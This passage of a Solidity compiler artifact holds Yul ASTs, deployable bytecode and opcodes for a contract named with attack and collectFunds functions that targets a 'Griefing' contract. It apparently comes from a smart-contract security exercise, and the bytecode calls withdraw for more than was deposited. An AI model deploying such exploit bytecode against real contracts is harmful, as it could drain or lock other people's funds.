"nodeType": "YulLiteral", | |
"src": "320:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "310:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "310:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "310:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulFunctionDefinition", | |
"src": "211:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "379:81:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "389:65:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "404:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "411:42:1", | |
"type": "", | |
"value": "0xffffffffffffffffffffffffffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "400:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "400:54:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "389:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "361:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "371:7:1", | |
"type": "" | |
} | |
], | |
"src": "334:126:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "511:51:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "521:35:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "550:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulIdentifier", | |
"src": "532:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "532:24:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "521:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "493:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "503:7:1", | |
"type": "" | |
} | |
], | |
"src": "466:96:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "611:79:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "668:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "677:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "680:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "670:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "670:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "670:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "634:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "659:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "641:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "641:24:1" | |
} | |
], | |
"functionName": { | |
"name": "eq", | |
"nodeType": "YulIdentifier", | |
"src": "631:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "631:35:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "624:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "624:43:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "621:63:1" | |
} | |
] | |
}, | |
"name": "validator_revert_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "604:5:1", | |
"type": "" | |
} | |
], | |
"src": "568:122:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "759:80:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "769:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "784:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "778:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "778:13:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "769:5:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "827:5:1" | |
} | |
], | |
"functionName": { | |
"name": "validator_revert_t_address", | |
"nodeType": "YulIdentifier", | |
"src": "800:26:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "800:33:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "800:33:1" | |
} | |
] | |
}, | |
"name": "abi_decode_t_address_fromMemory", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "737:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "745:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "753:5:1", | |
"type": "" | |
} | |
], | |
"src": "696:143:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "922:274:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "968:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", | |
"nodeType": "YulIdentifier", | |
"src": "970:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "970:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "970:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "943:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "952:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "939:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "939:23:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "964:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "935:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "935:32:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "932:119:1" | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "1061:128:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "1076:15:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "1090:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "1080:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "1105:74:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "1151:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "1162:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "1147:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1147:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "1171:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_address_fromMemory", | |
"nodeType": "YulIdentifier", | |
"src": "1115:31:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "1115:64:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "1105:6:1" | |
} | |
] | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_address_fromMemory", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "892:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "903:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "915:6:1", | |
"type": "" | |
} | |
], | |
"src": "845:351:1" | |
} | |
] | |
}, | |
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_tuple_t_address_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n", | |
"id": 1, | |
"language": "Yul", | |
"name": "#utility.yul" | |
} | |
], | |
"linkReferences": {}, | |
"object": "608060405234801561000f575f80fd5b5060405161045f38038061045f833981810160405281019061003191906100d4565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506100ff565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100a38261007a565b9050919050565b6100b381610099565b81146100bd575f80fd5b50565b5f815190506100ce816100aa565b92915050565b5f602082840312156100e9576100e8610076565b5b5f6100f6848285016100c0565b91505092915050565b6103538061010c5f395ff3fe608060405260043610610033575f3560e01c80635b980628146100375780639e5faafc1461004d578063bd90df7014610057575b5f80fd5b348015610042575f80fd5b5061004b610081565b005b6100556100c7565b005b348015610062575f80fd5b5061006b6101d6565b6040516100789190610273565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156100c4573d5f803e3d5ffd5b50565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d7bb99ba346040518263ffffffff1660e01b81526004015f604051808303818588803b15801561012c575f80fd5b505af115801561013e573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60013461018b91906102c2565b6040518263ffffffff1660e01b81526004016101a79190610304565b5f604051808303815f87803b1580156101be575f80fd5b505af11580156101d0573d5f803e3d5ffd5b50505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61023b610236610231846101f9565b610218565b6101f9565b9050919050565b5f61024c82610221565b9050919050565b5f61025d82610242565b9050919050565b61026d81610253565b82525050565b5f6020820190506102865f830184610264565b92915050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6102cc8261028c565b91506102d78361028c565b92508282019050808211156102ef576102ee610295565b5b92915050565b6102fe8161028c565b82525050565b5f6020820190506103175f8301846102f5565b9291505056fea264697066735822122008d1769b75835d14ec647b7d9003d6cd162985984a097e0e13d09873431ab2e964736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x45F CODESIZE SUB DUP1 PUSH2 0x45F DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x31 SWAP2 SWAP1 PUSH2 0xD4 JUMP JUMPDEST DUP1 PUSH0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0xFF JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0xA3 DUP3 PUSH2 0x7A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xB3 DUP2 PUSH2 0x99 JUMP JUMPDEST DUP2 EQ PUSH2 0xBD JUMPI PUSH0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP2 MLOAD SWAP1 POP PUSH2 0xCE DUP2 PUSH2 0xAA JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0xE9 JUMPI PUSH2 0xE8 PUSH2 0x76 JUMP JUMPDEST JUMPDEST PUSH0 PUSH2 0xF6 DUP5 DUP3 DUP6 ADD PUSH2 0xC0 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x353 DUP1 PUSH2 0x10C PUSH0 CODECOPY PUSH0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x33 JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x5B980628 EQ PUSH2 0x37 JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x4D JUMPI DUP1 PUSH4 0xBD90DF70 EQ PUSH2 0x57 JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x42 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH2 0x4B PUSH2 0x81 JUMP JUMPDEST STOP JUMPDEST PUSH2 0x55 PUSH2 0xC7 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x62 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH2 0x6B PUSH2 0x1D6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x78 SWAP2 SWAP1 PUSH2 0x273 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC SELFBALANCE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0xC4 JUMPI RETURNDATASIZE PUSH0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH0 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xD7BB99BA CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x12C JUMPI PUSH0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x13E JUMPI RETURNDATASIZE PUSH0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH0 REVERT JUMPDEST POP POP POP POP POP PUSH0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D PUSH1 0x1 CALLVALUE PUSH2 0x18B SWAP2 SWAP1 PUSH2 0x2C2 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1A7 SWAP2 SWAP1 PUSH2 0x304 JUMP JUMPDEST PUSH0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x1BE JUMPI PUSH0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x1D0 JUMPI RETURNDATASIZE PUSH0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x23B PUSH2 0x236 PUSH2 0x231 DUP5 PUSH2 0x1F9 JUMP JUMPDEST PUSH2 0x218 JUMP JUMPDEST PUSH2 0x1F9 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x24C DUP3 PUSH2 0x221 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x25D DUP3 PUSH2 0x242 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x26D DUP2 PUSH2 0x253 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x286 PUSH0 DUP4 ADD DUP5 PUSH2 0x264 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST PUSH0 PUSH2 0x2CC DUP3 PUSH2 0x28C JUMP JUMPDEST SWAP2 POP PUSH2 0x2D7 DUP4 PUSH2 0x28C JUMP JUMPDEST SWAP3 POP DUP3 DUP3 ADD SWAP1 POP DUP1 DUP3 GT ISZERO PUSH2 0x2EF JUMPI PUSH2 0x2EE PUSH2 0x295 JUMP JUMPDEST JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x2FE DUP2 PUSH2 0x28C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x317 PUSH0 DUP4 ADD DUP5 PUSH2 0x2F5 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ADDMOD 0xD1 PUSH23 0x9B75835D14EC647B7D9003D6CD162985984A097E0E13D0 SWAP9 PUSH20 0x431AB2E964736F6C634300081400330000000000 ", | |
"sourceMap": "434:633:0:-:0;;;504:94;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;576:13;550:14;;:40;;;;;;;;;;;;;;;;;;504:94;434:633;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:143::-;753:5;784:6;778:13;769:22;;800:33;827:5;800:33;:::i;:::-;696:143;;;;:::o;845:351::-;915:6;964:2;952:9;943:7;939:23;935:32;932:119;;;970:79;;:::i;:::-;932:119;1090:1;1115:64;1171:7;1162:6;1151:9;1147:22;1115:64;:::i;:::-;1105:74;;1061:128;845:351;;;;:::o;434:633:0:-;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": { | |
"@attack_71": { | |
"entryPoint": 199, | |
"id": 71, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"@collectFunds_88": { | |
"entryPoint": 129, | |
"id": 88, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"@targetContract_38": { | |
"entryPoint": 470, | |
"id": 38, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"abi_encode_t_contract$_Griefing_$35_to_t_address_fromStack": { | |
"entryPoint": 612, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_t_uint256_to_t_uint256_fromStack": { | |
"entryPoint": 757, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 0 | |
}, | |
"abi_encode_tuple_t_contract$_Griefing_$35__to_t_address__fromStack_reversed": { | |
"entryPoint": 627, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": { | |
"entryPoint": 772, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"checked_add_t_uint256": { | |
"entryPoint": 706, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_uint160": { | |
"entryPoint": 505, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_uint256": { | |
"entryPoint": 652, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"convert_t_contract$_Griefing_$35_to_t_address": { | |
"entryPoint": 595, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"convert_t_uint160_to_t_address": { | |
"entryPoint": 578, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"convert_t_uint160_to_t_uint160": { | |
"entryPoint": 545, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"identity": { | |
"entryPoint": 536, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"panic_error_0x11": { | |
"entryPoint": 661, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
} | |
}, | |
"generatedSources": [ | |
{ | |
"ast": { | |
"nodeType": "YulBlock", | |
"src": "0:1872:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "52:81:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "62:65:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "77:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "84:42:1", | |
"type": "", | |
"value": "0xffffffffffffffffffffffffffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "73:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "73:54:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "62:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "34:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "44:7:1", | |
"type": "" | |
} | |
], | |
"src": "7:126:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "171:28:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "181:12:1", | |
"value": { | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "188:5:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "ret", | |
"nodeType": "YulIdentifier", | |
"src": "181:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "identity", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "157:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "ret", | |
"nodeType": "YulTypedName", | |
"src": "167:3:1", | |
"type": "" | |
} | |
], | |
"src": "139:60:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "265:82:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "275:66:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "333:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulIdentifier", | |
"src": "315:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "315:24:1" | |
} | |
], | |
"functionName": { | |
"name": "identity", | |
"nodeType": "YulIdentifier", | |
"src": "306:8:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "306:34:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulIdentifier", | |
"src": "288:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "288:53:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "converted", | |
"nodeType": "YulIdentifier", | |
"src": "275:9:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "convert_t_uint160_to_t_uint160", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "245:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "converted", | |
"nodeType": "YulTypedName", | |
"src": "255:9:1", | |
"type": "" | |
} | |
], | |
"src": "205:142:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "413:66:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "423:50:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "467:5:1" | |
} | |
], | |
"functionName": { | |
"name": "convert_t_uint160_to_t_uint160", | |
"nodeType": "YulIdentifier", | |
"src": "436:30:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "436:37:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "converted", | |
"nodeType": "YulIdentifier", | |
"src": "423:9:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "convert_t_uint160_to_t_address", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "393:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "converted", | |
"nodeType": "YulTypedName", | |
